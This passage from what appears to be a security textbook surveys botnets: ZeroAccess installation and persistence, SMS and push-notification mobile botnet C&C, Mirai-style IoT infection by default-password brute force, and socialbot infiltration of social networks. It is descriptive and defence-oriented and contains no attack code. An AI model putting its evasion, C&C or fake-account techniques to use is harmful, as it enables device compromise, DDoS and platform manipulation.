whether the operating system is 32-bit or 64-bit, and based on that, it decides
the appropriate installation mechanism. One of the installation requirements of
ZA trojan is to obtain an escalated privilege. To gain this, the malware has to
overcome the user account control (UAC) mechanism that is deployed in
Windows operating system to prevent illegal access. This is achieved, by
including a legitimate payload (e.g., adobe flash player) in addition to the
malicious one as part of the software that is to be installed. This method tricks
the user to provide the required access privilege via accepting warning messages
in order to install the legitimate software. For example, the system may display
a warning message to accept the installation of some legitimate software. By
clicking OK, the user indirectly gives ZA trojan the required privilege that
allows it to be installed.

3. Staying on the system: ZA rootkit adopted several techniques to stay on the
infected system and remain hidden without being detected. This includes
a kernel manipulation technique. The ZA rootkit creates a malicious copy of
a kernel mode driver and overwrite the original driver by uploading its own
code in the kernel space. This makes it difficult to distinguish ZA from the
legitimate driver. Another technique is to store malicious files in a hidden
volume in the file system. The volume is created specifically for this purpose in

Botnet Architectures ■ 17



order to avoid detection. Later versions of ZA have adopted the technique of
storing its malicious encrypted files in a legitimate looking Windows directory
and restricting access to that directory. The differences between 32-bit and 64-
bit versions were eliminated gradually in subsequent versions of ZA malware by
moving away from relying on the kernel components. In most recent versions
of ZA, the malware injects itself in common Windows services such as explore.
exe and services.exe. In addition, ZA disables security services in Windows such
as Windows firewall, the Windows security center, and Windows defender.

4. Command and control: After installation, ZA malware connects back to
a central server with an IP address that is hard-coded in the bot’s binary.
Through this connection, the bot provides the server with information
about the infected machine and its configuration. Also, it authenticates
itself to the server by providing it (e.g., the server) with a randomly
generated domain name. This domain name corresponds to a non-existing
server that changes from day to day as the domain generating algorithm uses
the current date as a seed value for the domain generation. It serves the
purpose of authenticating the bot by making sure that the provided domain
name belongs to the set of domains. The generated domains are included in
advance in the bot binary. If the provided domain name is invalid, the
server aborts the connection. Therefore, the server can make sure that only
ZA bots are connected to the server, which prevents botnet infiltration
attempts. Each ZA malware instance is shipped with an initial list of 256 IP
addresses that represent the infected machines. These IPs are ordered based
on their last seen time. This initial contact list is used by the bot to join the
ZA P2P network by initiating connections to certain port numbers. Bots
that have public IP addresses are labeled as super nodes, while bots that
resides behind a NAT box are labeled as regular nodes. For a node to be
part of the P2P network, it should be reachable from the outside.

5. Attack activity: Throughout its lifetime, ZA has been the source of different
malicious activities including spam, click fraud, and bitcoin mining. Bitcoin
mining represents a new type of botnet activity that is associated with the
developments of digital currency. The idea is to leverage the collective
computational power of bot machines to generate bitcoins for the bot-
master’s advantage.

1.5 Mobile Botnets
Modern mobile devices have attracted the attention of attackers because they
provide enough resources to launch large-scale attacks. Currently, mobile devices
are powerful platforms that are equipped with high computation power, large
storage, Internet connectivity, and wide range of applications. In addition,
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technology is improving the battery life time of mobile devices, which allows
them to withstand high computations and network demands.

Smartphones are becoming very popular in recent years. At the same time, a new
generation of malware that targets these devices has evolved and is becoming a major
threat for this technology. In most cases, this malware aims at constructing smart-
phone botnets. A smartphone botnet is a group of compromised smartphones that
are remotely controlled by botmasters via C&C channels [44]. These botnets provide
attackers with capabilities to perform many nefarious activities that greatly violates
users’ privacy. This includes but not limited to, installing new applications, request-
ing a URL from the phone, sending spam, achieving financial gains by sending
premium SMSs, making phone calls, spying on users, and displaying ads and
notifications. The main factors that make smartphones (e.g., iPhone and Android-
based phones) an attractive target for attackers include:

■ High adoption rate of smartphones. With the emergence of mobile Internet
access and the proliferation of mobile applications, smartphones have witnessed
significant technological advancements. Smartphone prices have dropped sig-
nificantly while sales have increased sharply in recent years [45]. It is expected
that the sales will increase in the coming years especially in the emerging
markets. This provides a prolific environment for hackers to construct mobile
botnets.

■ Computational power of smartphones. Today’s smartphones have computa-
tional power and communication capabilities (in terms of memory, CPU,
and transmission rate) that outperform some generations of PCs. This
makes them a very attractive target in order to perform different types of
nefarious activities such as sending spam and performing DDoS attacks.

■ Sensitive information available on smartphones. The private information that
users save on their smartphones make them a valuable target for attackers.
A smartphone can be viewed as a personal wallet that contains highly sensitive
information that includes banking accounts, credit card numbers, personal
pictures, phone calls, private messages, GPS location, and access to phone
camera.

■ Smartphones can be easily infected by malware. Smartphone users tend to
accept downloads from untrusted sources. Attackers usually inject malicious
codes into mobile applications before uploading them to the Android market.

■ Lack of security protection for smartphones. The security market for smart-
phones is still immature with a limited number of antimalware or antivirus
products that are designed to address vulnerabilities in smartphone and for
malware detection. This means that a malware that targets smartphones can go
without being detected in most cases.

■ Internet connectivity. Smartphones are usually connected to the Internet
most of the time either through WiFi networks or data services. Users
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tend to keep their smartphones turned on with Wifi or data connection
being enabled in order to stay connected and have access to their favorite
social networking applications.

■ C&C implementation. Mobile botnets in general and smartphone botnets in
particular offer new approaches for C&C implementation that were unavail-
able for PC-based botnets. Instead of relying on traditional application layer
protocols (e.g., HTTP, IRC, and file sharing applications) for C&C imple-
mentation, other techniques, that are specific to the mobile phone technology,
can be used for the C&C implementation. This includes short messaging
services (SMS), push notification services that are available in mobile applica-
tions, short URL services, and Bluetooth.

It is important to mention that there are some limitations regarding mobile botnet
construction. These limitations include: (i) Smartphones are battery limited, which
requires botmasters to account for bot devices that are running out of power. This
has an impact on the operation of the mobile botnet, especially when mobile botnets
are involved in activities that require high processing and communication capabil-
ities. If the battery power of a device drops faster than a normal behavior, then the
user may suspect that there is something wrong with his/her phone. (ii) Also, mobile
botnets are usually involved in an increasing consumption of data usage or SMS
messages leading to an additional billing cost. (iii) Smartphones are assigned private
IP addresses rather than public IP addresses, which restricts the creation of C&C
channel when compared to the PC-based botnets.

The life cycle of mobile botnets is very similar to that of the traditional PCs based
botnets in terms of the main stages as described in Section 1.2. Also, mobile botnet
architecture can be centralized or distributed (P2P) in a way similar to traditional
botnets. However, there are major differences in C&C channel implementation,
infection vectors, and approaches. This is due to the additional features that are
available in smartphones such as Bluetooth, SMS, GPS sensor, and notification
services. Some mobile botnets that appeared in the early period of mobile botnets
have used conventional HTTP-based C&C channel for communication. For exam-
ple, SymbOS.Yxes botnet appeared in 2009 to target the Symbian platform [46],
Ikee.B mobile botnet that targeted jailbroken iPhones in 2010 [47], and GEINIMI
mobile botnet, which is considered to be the first Android botnet [48]. Subsequently,
other techniques that are specific to mobile phones were exploited to implement the
C&C channel for communication. ZeuS, for example, is an SMS-based botnet that
targets Blackberry, Windows, and Symbian mobile platforms [49]. In addition,
public blogs were used to implement the C&C channel of an Android botnet,
which is called AnserverBot, in 2011 [50]. Advanced C&C architectures for mobile
botnets were proposed in [51]. These architectures leverage Tor’s Hidden services
and DNS protocol to obfuscate attackers’ identity and increases the botnet’s
resiliency.
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1.5.1 Examples of Mobile Botnets

In this subsection, we provide a description about SMS-based mobile botnets and
cloud-based push-styled mobile botnets. These two types of botnets represent
typical examples of mobile botnets that employ C&C mechanisms.

1.5.1.1 SMS-based Mobile Botnets

The design and implementation of SMS-based smartphone botnet were presented in
[52]. In this type of botnets, commands are delivered to infected smartphones (bots)
via SMS without being noticed by phone users. Each command is encoded in a fixed
size text message. Bots read these messages, decode them, and act to execute the
commands according to a database that is known for the bot during the installation
phase. Using SMS messages for C&C control provides more resilience and is
considered more suitable for smartphone botnets due to several reasons: (1) It does
not require Internet connectivity. Even if the phone goes offline or becomes outside
a coverage area, commands are buffered at the service center and delivered when the
phone becomes reachable. (2) SMS is a very popular service and among the top used
data applications in the world. (3) Usually, smartphones have private IP addresses
because they connect to access points or cell towers. Therefore, using SMS for C&C
provides a suitable mechanism to deliver commands to bot machines even if they are
unreachable by their private IP addresses. (4) It is difficult for a user to distinguish
between SMS messages that are related to a botnet activity and spam SMS messages.
A unique passcode is hard-coded in the bot binary in order to identify each bot.

While it is possible to include a unique passcode for each bot, the design in
[52] suggested that each group of bots, which is responsible of the same botnet
activity (e.g., Spam, ID theft, etc.), have the same passcode. The hard-coded
passcode in a bot binary is included in SMS messages that are sent and received
by that bot. To achieve stealthy operation, a malicious Android application,
which is installed on each bot, registers itself as a background process in order to
be able to send out SMS messages, get notified when receiving SMS message,
read received messages, decode them, and finally delete them to avoid being
noticed by the phone owners.

1.5.1.2 Cloud-Based Push-Styled Mobile Botnets

Cloud-based push-styled mobile botnets was presented in [53]. Push notification is
a service that is widely available on smartphone platforms. In this service, mobile
applications receive notifications messages from the application servers through push
based messaging servers that are hosted in the cloud. There are several advantages for
push notification service that makes it an attractive feature in mobile phones. For
example, with this service, there is no need for the application server to periodically
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check the mobile device to find out whether the phone is ON or OFF. In addition,
notifications are sent to mobile devices without the need for a continuous probing of
application servers. These features simplify the mobile application development and
greatly reduce the workload on application servers. This explains the popularity of
this service in most smartphone platforms and hence, can be utilized for the
implementation of C&C in mobile botnets.

A prototype of cloud-based push-styled mobile botnets using Google Cloud to
Device Messaging (C2DM) service for Android was presented in [53]. The main
idea is to disseminate botmaster commands to the bots population in a stealthy
manner as part of the normal C2DM traffic. This means that there is no direct
communication between a botmaster and the bot devices. Instead, communica-
tion between them is done through the C2DM service. Implementing the C&C
for such botnets involves bot registration stage and command dissemination stage.
Although C2DM was officially deprecated, similar mechanisms, such as Firebase
Cloud Messaging (FCM) from Google, can be used to construct cloud-based
push-styled mobile botnets.

1.6 IoT Botnets
IoT botnets, such as Mirai, QBot, BASHLITE, Hajime, and their variants, aim
to compromise IoT devices that are weakly configured and connected to the
Internet. Most recently, Torii bot was discovered and is considered to be more
sophisticated than previously known IoT botnets [54]. IoT devices are distributed
worldwide with the goal of having them running all the time such as printers,
DVRs, network routers, IP cameras, and CCTVs. The manufacturers of IoT
devices focused on devices functionality and ease of installation to attract
customers. In addition, many users leave the default username and password
that were shipped with the device unchanged. Mirai and other IoT botnets
exploit this simplicity of devices and compromise hundreds of thousands of
them relying on a dictionary of default user names and passwords from different
vendors. A large number of devices (victims) are orchestrated to launch DDoS
attacks against selected targets. Also, a large number can be used for spamming
and advertisement fraud. IoT botnets architecture consists of four main compo-
nents, which are: the Bot, the C&C server, the Loader, and the Report server
[55]. The role of each of these components is described below:

1. The Bot: which is the malware that infects a vulnerable IoT device. It has
two roles: the first role is to brute force search for new victims to be
compromised. New victims are IoT devices that were misconfigured, have
software holes, or have default username and passwords. Hence, it is
important for system administrators to install most recent software patches,
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change passwords, and monitor their devices for any abnormal behavior.
The second role is to execute commands that are sent by the C&C server
such as the DDoS attack.

2. The C&C Server: which is controlled by the botmaster to send commands
to the bots such as launching a DDoS attack. The botmaster is a person
(hacker) who manages the botnet, develop, modify, and update bots’
programs and database. A DDoS command includes packets type (e.g.,
SYN flooding), the target address, and the duration of traffic.

3. The Loader: when a new IoT device is discovered and compromised by
a bot, the bot executes a command to find the newly compromised device’s
architecture and software. Then, the new device is directed to download the
corresponding botnet binaries from the loader server. The loader server has
many binaries for different device architectures including ARM and Intel.

4. Report Server: it contains different information and status of all the bots
(infected devices) in the botnet. Information includes IP address, port
number, device architecture, and login credentials.

The threat of IoT botnets arises from the large number of infected devices, which is
in the order of hundreds of thousands. These devices can result in a tremendous
network traffic if they are used to launch DDoS attacks. For example, a DDoS attack
on Krebs has reached to an unprecedented traffic of more than 600 Gbps in 2016
[56]. Researchers have shown that Mirai botnet has infected more than 65,000 IoT
devices in nearly 20 hours and the number has increased to reach 300,000 devices
[57]. This number is likely to increase, as the use of IoT devices are growing, which is
expected to have more than one hundred billion devices by 2030 [58], unless
effective countermeasure solutions are developed and used.

The infection process is based on brute-force search of devices with default user
name and passwords using remote connection (telnet) on standard open ports. TCP
ports 23, 2323, 7547, 5555, 23231, 37777, 6789, 22, 2222, 32, and 19058 are the
most popular ones [59]. Furthermore, most of UDP ports are targeted by compro-
mised IoT devices. Among the top targeted UDP ports are: port 37547, 137, 53413,
37547, 32124, and 28183 [60]. The IP addresses are randomly generated. After
a successful connection to an IoT device, the botnet closes the open ports to prevent
other botnets from trying to connect to the device. Default usernames and passwords,
in addition to simple passwords (such as 123456) are hard-coded into the IoT botnet
scripts. The IoT botnet resides in the memory of compromised IoT devices. A restart
or power-off of the device removes the botnet. However, this is difficult to be done
by system or network administrators. For example, if the infected devices are routers,
the network will be interrupted while routers are being powered-off and then
powered-on. Also, this action can result in a service level agreement (SLA) violation
of services with high availability.
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The release of the source code of the Mirai botnet made it possible for researchers
to understand the behavior of IoT botnets. This behavior is common in IoT botnets
that were discovered, although some of them are more advanced than the original
Mirai. Defining policies and rules that can detect and capture compromised devices
can fight against the spread of IoT botnets. Access, communication, and usage polices
are among these desired definitions [61]. Moreover, smarter and more intelligent
methods can be developed using machine learning algorithms in order to efficiently
detect compromised IoT devices and alert system administrators to isolate them from
the network or block them automatically. For example, N-BaIoT is a method that
uses deep learning for anomaly detection of network traffic [62]. On another hand,
a method called AutoBotCatcher relies on the idea of mutual entities in the botnet
community. For example, bots communicate with a C&C server. This makes the
C&C server a mutual entity [58]. Based on identifying the botnet communities,
AutoBotCatcher can be utilized by ISPs and network administrator to further
investigate suspicious devices. In addition, methods such as encryption of IoT devices
memory and data, easy and automated techniques to modify devices passwords, using
different passwords than the ones that were shipped from factories, restricting access
of ports on devices, and updating the devices’ firmware with the latest patches are
among effective practices that prevent the widespread of IoT botnets [63].

1.7 Social Botnets
Socialbots are autonomous software programs that target online social networks
(OSNs) such as Facebook and Twitter. These programs mimic the behavior of real
users (humans) through posting comments (or tweets), re-posting messages that
others have posted, sending connection requests, accepting requests from others,
following others, etc. Socialbots aim to achieve mainly three objectives. The first one
is to launch campaigns in order to promote some opinions or ideas in a community
of users and making some topics popular. The second is to collect data especially
private user information. These information becomes available once a user accepts
a connection request from the socialbot. The third reason is to alter the graph
structure of OSNs, which results in having fake or misleading patterns in the social
network graph (vertices and edges). Boshmaf et al. showed that today’s OSNs are
vulnerable to socialbots and conducted experiments on Facebook OSN [64]. In
addition, Freitas et al. conducted socialbot experiments on Twitter OSN and showed
that socialbots can infiltrate Twitter [65].

1.7.1 Operation

The following are typical steps that are carried out by socialbot developers for
infiltration of OSNs.
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1. Automatic creation of email accounts as most OSNs require an email for
verification. Hence, an adversary relies on email providers who allow an
unlimited number of email accounts. Some adversaries might choose to
create the email accounts manually.

2. Handling CAPTCHA as most OSNs rely on that technique to validate users.
Different methods are used by socialbots to break CAPTCHAs in order to
automate the process of infiltrating OSNs especially to launch a large-scale attack.
For example, socialbot developers use script identification, optical character
recognition methods, utilize botnets that ask users to recognize CAPTCHAs, or
rely on cheap labor business (CAPTCHA breaking business) to break
CAPTCHA [64,66,67].

3. Creating a profile for the accounts, which includes a job title and a picture.
This is very important in order to increase attractiveness. For example, a person
who has professional career attracts users. In addition, a good looking picture
has the greatest impact as described in [64]. Female profiles have higher
successful infiltration rate than male profiles. However, they both get similar
acceptance rate if they have high number of friends (contacts).

Developers of socialbots follow random behaviors in performing activities (i.e.,
posts, request, follow-back, etc.) in order to avoid being detected such as Realboy
project by Zack Coburn and Greg Marra [68].

Some methods use social network honeypots in order to trap adversaries. These
methods generate artificial profiles, monitor the profiles, and analyze their
activities [69]. Designing and collecting datasets of OSNs can help in developing
intelligent techniques that rely on anomalous behaviors for detecting socialbots
[70]. Machine learning, classification, and artificial intelligence techniques have
been developed in order to detect and isolate socialbots from OSNs [71–73].
However, more robust and sophisticated methods are still needed in order to
detect non-trivial socialbot behaviors.

1.8 Conclusion
Botnets are among the top cyber security issues in today’s Internet. Botnets have
witnessed major advancements in recent years in terms of their architectures, attack
activities, and types. The enormous growth of the Internet and its expansion in recent
years has contributed greatly in the development of new generation of botnets that
leverage the vulnerabilities of new protocols, applications, and devices that composes
the Internet. The nature and scale of botnet attacks have increased over time.
Traditionally, botnets have been used to conduct various forms of DDoS attacks,
email spam campaigns, click fraud and identity theft. Recently, botnets were used in
new malicious activities that include malware distribution, fast flux network services,
social campaigns and digital currency mining. Over the past fifteen years, significant
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amount of research has been done in this area focusing on botnet characterization
and detection.

This chapter provided a detailed discussion about botnets and their main
characteristics. At the beginning, the chapter described the main steps of botnet life
time and highlighted the main characteristics that include the botnet size, geogra-
phical distribution, and spatial temporal correlation. The strength and resilience of
any botnet depend on the implementation of its C&C channel. Centralized and
P2P botnets were discussed as the main two architectures for the botnets commu-
nication topology. This includes traditional PC based botnets, mobile botnets, IoT
botnets and social botnets. For each type of the botnets, the main features were
highlighted and the C&C implementation methods were discussed. Overall, this
chapter provided a comprehensive review of botnets, their key features, the differ-
ences between botnet types, and their C&C implementations. Future research in
this field is expected to focus on efficient techniques for botnet detection, while
taking into consideration the new types of botnets that have emerged in recent years
and the new techniques that are used to implement stealthy and resilient C&C.
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2.1 Introduction
The rise in popularity of IoT botnets centers around the Mirai attacks of
October 2016. In a period of only a few weeks, KrebsOnSecurity.com1, OVH2,
and Dyn3 all became victims of record-breaking distributed denial-of-service
(DDoS) attacks. The attacks that temporarily crippled KrebsOnSecurity.com
exceeded 600 Gbps in volume [1], one of the largest on record at the time. The
impact of the Dyn attacks was felt by large swathes of users in Europe and North
America and affected major internet platforms and services including Airbnb,
GitHub, Amazon, CNN, Twitter, Slack, PlayStation Network, Xbox Live, and
many more. Between the OVH and Dyn attacks, Mirai had its source code
published on HackForums and quickly replicated to more accessible platforms
such as GitHub. Tutorial blogs and YouTube videos detailing how to build and
deploy Mirai followed shortly. From that point forward, the attacker community
had access to a tool of mass destruction that was easy to build and deploy with an
opportunity to improve and extend its capabilities.

Since the Mirai attacks in 2016, IoT botnets have come a long way. The
original goal of Mirai was to create an efficient tool for performing DDoS attacks.
Later, IoT bots added new exploits, mainly to keep ahead of their competing
cousins, while mostly reusing the same scanning, command and control (C2),
and malicious payloads in terms of attack vectors.

By the end of 2017, IoT malware started taking advantage of the same exploit
vectors but carrying new malicious capabilities, such as cryptocurrency mining,
anonymizing proxy services, data exfiltration capabilities, rootkits, and self-
destructive sequences. The anonymizing proxies got leveraged for concealing
targeted attacks and spam or click-fraud campaigns. The sophistication of IoT

1 Website of investigative reporter Brian Krebs.
2 French web hosting provider.
3 Domain Name System (DNS) provider.
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malware increased considerably as organized hacking groups joined the opportu-
nistic attacker community in their war on free distributed computing resources.
The VPNFilter malware, discovered by Cisco Talos in 2018 [2], was attributed to
a Russian state-sponsored cyber-crime group [3]. VPNFilter represents an inflec-
tion point in terms of sophistication, persistence, and evasive actions observed in
IoT malware. Up to that point, IoT malware was unsophisticated, providing
limited forms of evasion, little or no concealment of C2 activity, and no or
limited protection of C2 infrastructure.

While the most notorious, Mirai was not the first malware to take advantage of
IoT devices. As early as December 2013, a researcher [4] observed hundreds of
thousands of spam emails originating from a botnet made up of one hundred
thousand hacked appliances. While the majority of malicious mail was
initiated by home networking devices, such as routers and network attached
storage systems (NAS), a significant percentage of malicious email came from
nontraditional sources such as connected multimedia centers, smart televisions,
and at least one refrigerator. The words “thingbot” and “thingbot-net” were
coined by Proofpoint to refer to these newly discovered IoT-based botnets. In
March 2014, DDoS attacks were observed [5] originating from a botnet
consisting of over 900 CCTV cameras. All compromised devices used in the
attack were running embedded Linux with BusyBox. The malware was an
ELF binary compiled for the ARM architecture and a variant of the BASH-
LITE (aka Gafgyt) malware, known for scanning network devices running
BusyBox and looking for open Telnet/SSH services, which are susceptible to
brute force dictionary attacks. In this specific case, the variant also came with
an ability to launch HTTP Get flood denial-of-service (DoS) attacks from the
compromised devices. BASHLITE was not the first Linux malware to spread
through Telnet services using username/password combinations however. The
technique was already used back in 2012 by Lightaidra, a worm supporting
a number of different architectures such as MIPS, ARM, and PPC and known
to perform DDoS attacks. Between 2015 and 2016, different Linux malwares
were discovered, all primarily used for performing DDoS attacks: Elknot/
BillGates (2015), XOR.DDoS (2015), LUABOT (2016), Remaiten (2016),
NewAidra/IRCTelnet (2016), and Mirai (2016). All were improved variants or
re-combined code of previous malwares in terms of scanning and exploiting,
C2 protocols, and supported architectures. In September 2015, the FBI and
the Department of Homeland Security published an alert on the opportunities
provided by IoT for cybercrimes [6]. Despite the warning, in June 2016,
a botnet consisting of 25,000 CCTV cameras assaulted an online jewelry story
[7], and just a few months later the infamous Mirai demonstrated the
deplorable state of IoT security by enslaving multiple hundreds of thousands
devices and performing extinction-level DDoS attacks on the DNS provi-
der Dyn.
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From that moment forward, increasingly creative and sophisticated IoT botnets
were observed. Below is a non-exhaustive list illustrating the IoT botnets that
represent a milestone in the growth in sophistication of IoT botnets:

■ The Hide N’ Seek (HNS) botnet was one of the first to take a stab at
persistence across boots, a nontrivial feature to implement given the
diversity of devices. HNS also implemented a custom peer-to-peer protocol
for its C2 communications.

■ Satori, the botnet that kept coming back in different forms and kept
creating waves of IoT infections while changing infection vectors. Abusing
the most obvious IoT exploits while adding new ones such as the Android
Debug Bridge exploit. Satori carried mostly crypto mining payloads and no
DDoS attacks and was an experiment by its author for testing and tuning
exploit vectors. The author, a confused teenager, was mainly motivated by
efame among his peers and known to have money issues, the mining
earnings were a welcome bonus of his experiments.

■ OMG [8], a botnet that added a tiny footprint, open-source proxy server
in the bots to create an anonymizer network based on other peoples’
appliances.

■ VPNFilter [2], a botnet primarily targeting routers and modems geolo-
cated in Ukraine, was found carrying malicious payloads to proxy its
victims’ internet traffic and scan for Modbus traffic on the local network.
Allegedly a nation-state botnet with a complex multistage infection
scheme, numerous evasions and provisions to protect against takedown of
its C2 infrastructure.

A few days before the Dyn attacks by Mirai, researchers from Rapidity Networks
discovered a much more sophisticated and competing IoT botnet. They named it
“Hajime” [9], “beginning” in Japanese, a playful iteration on the Mirai name that
means “future” in Japanese. Hajime uses a distributed peer-to-peer protocol
implemented on top of BitTorrent using daily rotating info hashes and RC4
public/private key encryption. Hajime can update itself and extend its capabilities
through extension modules. Hajime is supposedly a white hat project—a botnet
build to protect vulnerable IoT devices from further abuse by malicious botnets.

It marked a new era in which white hat botnets could bring a solution by
inoculating the internet against the viral spreading of malicious botnets through
vulnerable IoT devices. In the same spirit, there was BrickerBot [10], a vigilante
botnet designed to purge the internet from vulnerable IoT devices. Using
sentinels that watch for infected devices that attempt to compromise one of his
bots, BrickerBot would retaliate to the attacker with devastating permanent
denial-of-service (PDoS) attacks. BrickerBot was the first fully autonomous
IoT botnet, not requiring any user interaction to perform attacks and fully
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decentralized in the sense that each bot was functioning entirely independently of
the others.

A permanent denial-of-service or PDoS attack damages its victim to
such extent that replacement of hardware or reinitialization of software
or firmware is needed to recover the service. The effects of a PDoS
attacks are lasting, compared to a DDoS attack, which renders a service
unavailable temporarily for the duration of the attack. (see Figure 2.1)

October 2016 brought the inflection point for IoT botnets as Mirai
provided this unsophisticated weapon of destruction, free for anyone to use,
abuse, and improve. The botnet sizes observed in the first few months after
Mirai were daunting, but as competition for vulnerable IoT resources grew,
botnets got more fragmented, reducing the botnet sizes but at the same time
increasing the number of botnets and potential threats. Owned devices got re-
owned by newer, more sophisticated variants, which reduced the overall life
expectancy of IoT botnets. However, never did it reduce the risk associated
with IoT botnets as such, while a couple of thousand IoT devices are not
enough to generate internet-level extinction events from which we got a taste
during the Dyn attacks, it is plenty enough to bring down most of the online
businesses.

The remainder of this chapter aims to give the reader a solid understanding
into the mechanics behind IoT botnets. The what and why of their features, their
evolution, and, most importantly, their potential to thrive on the lackluster
security of connected devices. The approach of this chapter is to illustrate through
known, real-world botnets. Where available, fragments of the actual bot source
code will be used to provide a deeper understanding and give a peek behind the
curtains into the world of botnet authors. The chapter builds up from the earlier,

Figure 2.1 PDoS vs DDoS.
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least sophisticated bots known as “Kaiten” and “Qbot,” and moves across time to
cover Mirai and two grey hat botnets Hajime and BrickerBot, to end with one of
the most sophisticated botnets discovered to date: VPNFilter. But before jumping
into the details and inner workings, it is important to understand the ecosystem
of IoT botnets and what actually fuels them.

2.2 IoT Attack Surface
IoT botnets thrive on the current security state, or lack thereof, of connected
devices [11,12]. The IoT landscape is the playing field of IoT botnets, hence their
name. Some of the typical IoT protocols and their implementations by IoT
vendors provide for unsophisticated attack vectors that can easily be automated
and scaled. Understanding the IoT attack surface allows the reader to better
appreciate the high potential for botnets and why attackers are enticed to this
world.

The IoT landscape is diverse and vast, but only part of that landscape is of
real interest to IoT botnets. Of the discovered botnets, most, if not all, are
targeting devices that are running some form of the Linux operating system.
Mostly based on embedded Linux with BusyBox, but not exclusively, some are
Android-based such as set-top boxes and media streamers. The shared base of
embedded Linux and Android provides the bots with a common ground to
build from. Linux is well known, accessible for everyone, and supports many
architectures including but not limited to x86-32 and x86-64, ARM, MIPS,
Motorola 68000, Sparc, PowerPC, and SuperH. Linux provides easy access to
development tools and cross-compilation toolchains that allow malware target-
ing different devices and architectures from a single common source. As does
Android for that matter.

IoT is not limited to just Linux-based devices and while there are many known
vulnerabilities for proprietary systems and single-threaded microprocessor archi-
tectures, these systems are more subject to ransom and targeted attacks than being
abused as part of a larger botnet. Proprietary and often closed software develop-
ment kits are not accessible to everyone, the investment to acquire and the time
to learn the specifics limit the return for opportunistic attacks. Typically, these
kinds of IoT devices are not targeted by IoT botnets as we know them, but they
certainly do not go without threats. They form a primary target for modern
attacks on persona and industries by organized crime groups as well as being good
candidates for ransomware.

BusyBox is an open-source project that provides a single executable
with stripped-down versions of the most essential Unix command line
tools. The authors refer to it as “The Swiss Army knife of Embedded
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Linux” [13]. In Linux desktop and server distributions, commands such
as ls, echo, dd, cat, etc., are shipped as individual binaries, each
with their own dependencies and a need to compile and package indivi-
dually. BusyBox consolidates the most common Unix commands in
a single binary. Each command is referred to as an applet and embeds
most of the functionality from its original Unix command. BusyBox allows
manufacturers of embedded systems to provide many of the Unix com-
mands by merely compiling and installing a single large binary. It is more
effective and faster compared to individually compiling each of the
commands. To invoke a command through BusyBox, the command
(applet name) is passed as an argument. /bin/busybox ls, for example,
causes BusyBox to behave as the Unix command “ls”. Alternatively,
BusyBox commands can be invoked through symbolic links such as ln

-s /bin/busybox ls; ./ls, which causes BusyBox to behave as the Unix
“ls” command simply by invoking it as “ls” from the command prompt.

In a crowded consumer market hungry for smart and connected devices, where
margins are under pressure and buyers are guided primarily by convenience and
features, it will come to no surprise that security is (or was) mostly an after-
thought—if a thought at all—while designing smart or connected devices. To
make things worse, downstream manufacturers reuse hardware and software
components from upstream manufacturers. When those components contain
vulnerabilities or backdoors, these get replicated across different vendors and
potentially in different classes of devices. The lack of computing resources do
not accommodate for intrusion prevention or anti-malware features, making them
susceptible to any malicious software that can find its way onto the device. Not in
the least, the headless noninteractive nature of the devices ensure that owners are
mostly unaware their devices are abused and leveraged for tasks other than what
they were intended for. Moreover, the owner of an infected device is typically not
affected by the malware running on his or her device and as long as the device
performs its primary and intended function, the owner doesn’t care much.

Devices that were never meant to be connected are connected to the internet
now: toasters, light bulbs, power outlets, thermostats, coffee machines, faucets,
etc. Modal users with little to no technical affinity in networking and security are
deploying these new “convenience” devices in masses. Following instructions on
a one-page quick start and swiping through a mobile app are as far as they (can)
go. Don’t expect these users to create sensible firewall rules that allow their
devices to connect to cloud services or be accessible through mobile networks
from anywhere in the world. This gave rise to the abundant use of convenience
protocols, such as Universal Plug and Play (UPnP) and Web Service Discovery
Language (WSDL), which provide automatic discovery of (smart) devices and
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their service endpoints. Extensions built on top of these protocols, such as UPnP-
IGD (Internet Gateway Device), give away the control of the home security
gateway to “smart” things and give them the ability to create holes in the firewall
policy exposing things directly on the internet without any user interaction or its
owner even being aware of what is happening. Very convenient, but unacceptable
in most cases considering the state of security of most of these “smart” things.

DVRs, IP cameras, media streamers, gaming consoles, and Torrent clients are
just some examples of devices and software that interact with home gateways
through UPnP-IGD and create pinholes in the internet gateway. As is mostly the
case, it is not the protocol or the standards specification that is the cause of risks
and vulnerabilities, but the implementation or default configuration on the device
itself. In terms of resource availability, smart and connected devices like DVRs,
NASes, Routers, IP cameras, etc. are a blessing for malicious agents as they are
always on, always connected, and available 24/7.

The most prevalent issue with IoT, however, is the lack of automatic and regular
updating of their software or firmware. Nearly all vulnerabilities leveraged by successful
exploits were fixed in a more recent firmware or software version by the manufacturer.
Consumers without affinity to technology, however, are not aware of the existence of
updates and most lack the knowledge to perform the updates. Sometimes update
procedures can be daunting, and finding update images can be cumbersome, not to
mention the lack of certifying the origin and consistency of the update images. Most
IoT exploits that are used to compromise devices are based on known issues and
vulnerabilities that were fixed months or even years before, yet botnets were able to
amass multiple thousands or hundreds of thousands of devices, time and time again.

Mirai painted a target for IoT. In the months following the October 2016
events, many security researchers started hunting for vulnerabilities in IoT devices.
The lackluster state of security of IoT was exposed quickly, and while this helped
improve the awareness and the overall security state of some manufacturer’s devices,
it was also much like opening Pandora’s box. Even when researchers publish
research through responsible disclosure and work with the affected manufacturer
to fix the vulnerability before informing the broader community, it still requires an
update for the fix to be deployed on the devices in the field. Upon new IoT
vulnerabilities getting disclosed, botnets were observed leveraging the corresponding
exploits within 24 h of the publication. In some cases, it takes a while for a proof-
of-concept (PoC) to appear at which time multiple botnets replicate the code and
start scanning and exploiting across the internet.

2.2.1 Universal Plug and Play

UPnP is one of the most widely used and most exploited protocols for IoT.
SSDP, the Simple Service Discovery Protocol, which is a subset of UPnP, is
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also widely leveraged by malicious botnets and servers alike to perform
amplification DoS attacks [14]. UPnP [15] is a set of networking protocols
adopted and published by the International Standards Organization (ISO) and
the International Electrical Commission (IEC) as International Standards in the
fall of 2011. UPnP Device Control Protocol Specifications allow devices such as
computers, printers, internet gateways, WiFi access points, mobile devices, and all
sorts of connected things in the home as well as in corporate environments to
seamlessly join a network and discover each other’s presence and services for data
and media sharing, communication, configuration, and management.

The UPnP Forum was initially formed in October 1999 as an industry
initiative, which gained more than 1,000 leading companies in computing,
printing and networking, consumer electronics, home appliances, automation,
control and security, and mobile products. From January 2016, the UPnP Forum
assigned their assets to the Open Connectivity Foundation (OCF) [16], an industry
group whose stated mission is “to ensure secure interoperability for consumers,
businesses and industries by delivering a standard communications platform,
a bridging specification, an open source implementation and a certification pro-
gram allowing devices to communicate regardless of form factor, operating system,
service provider, transport technology or ecosystem.” The over four hundred
members, including industry-leading companies, involved in OCF believe that
“secure and reliable device discovery and connectivity is a foundational component
to enable IoT.”

